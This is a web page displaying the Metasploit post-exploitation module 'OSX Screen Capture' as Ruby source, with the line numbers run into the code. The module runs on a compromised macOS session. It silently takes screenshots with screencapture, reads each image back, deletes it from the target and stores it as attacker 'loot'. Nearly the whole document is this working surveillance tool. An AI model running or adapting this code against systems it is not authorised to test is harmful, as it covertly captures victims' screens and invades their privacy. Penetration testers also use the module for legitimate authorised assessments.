Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/osx/capture/screen.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'OSX Screen Capture',14'Description' => %q{15This module takes screenshots of target desktop and automatically downloads them.16},17'License' => MSF_LICENSE,18'Author' => [19'Peter Toth <globetother[at]gmail.com>' # ported windows version to osx20],21'Platform' => [ 'osx' ],22'SessionTypes' => [ 'meterpreter', 'shell' ]23)24)2526register_options(27[28OptEnum.new('FILETYPE',29[true, 'File format to use when saving a snapshot', 'png', %w[png gif]]),30OptInt.new('DELAY', [true, 'Interval between screenshots in seconds. 0 for no delay', 10]),31OptInt.new('COUNT', [true, 'Number of screenshots to collect.', 1]),32OptString.new('TMP_PATH', [true, 'Path to remote temp directory', '/tmp/<random>']),33OptString.new('EXE_PATH', [true, 'Path to remote screencapture executable', '/usr/sbin/screencapture'])34]35)36end3738def run39file_type = datastore['FILETYPE'].shellescape40exe_path = datastore['EXE_PATH'].shellescape41tmp_path = datastore['TMP_PATH'].gsub('<random>', Rex::Text.rand_text_alpha(8)).shellescape42if datastore['COUNT'] < 143count = 144else45count = datastore['COUNT']46end47if datastore['DELAY'] < 048delay = 049else50delay = datastore['DELAY']51end5253if !file?(exe_path)54print_error('Aborting, screencapture binary not found.')55return56end5758print_status "Capturing #{count} screenshots with a delay of #{delay} seconds"59# calculate a sane number of leading zeros to use. log of x is ~ the number of digits60leading_zeros = Math.log10(count).round61file_locations = []6263count.times do |num|64Rex.sleep(delay) unless num <= 06566begin67# This is an OSX module, so mkdir -p should be fine68cmd_exec("mkdir -p #{tmp_path}")69filename = Rex::Text.rand_text_alpha(7)70file = "#{tmp_path}/#{filename}"71cmd_exec("#{exe_path} -x -C -t #{file_type} #{file}")72data = read_file(file)73file_rm(file)74rescue ::Rex::Post::Meterpreter::RequestError => e75print_error('Error taking the screenshot')76vprint_error("#{e.class} #{e} #{e.backtrace}")77return78end7980unless data81print_error("No data for screenshot #{num}")82next83end8485begin86# let's loot it using non-clobbering filename, even tho this is the source filename, not dest87fn = "screenshot.%0#{leading_zeros}d.#{file_type}" % num88location = store_loot('screen_capture.screenshot', "image/#{file_type}", session, data, fn, 'Screenshot')89vprint_good("Screenshot #{num} saved on #{location}")90file_locations << location91rescue ::IOError, ::Errno::ENOENT => e92print_error('Error storing screenshot')93vprint_error("#{e.class} #{e} #{e.backtrace}")94return95end96end9798print_status('Screen Capturing Complete')99if file_locations && !file_locations.empty?100print_status('Use "loot -t screen_capture.screenshot" to see file locations of your newly acquired loot')101end102end103end104105106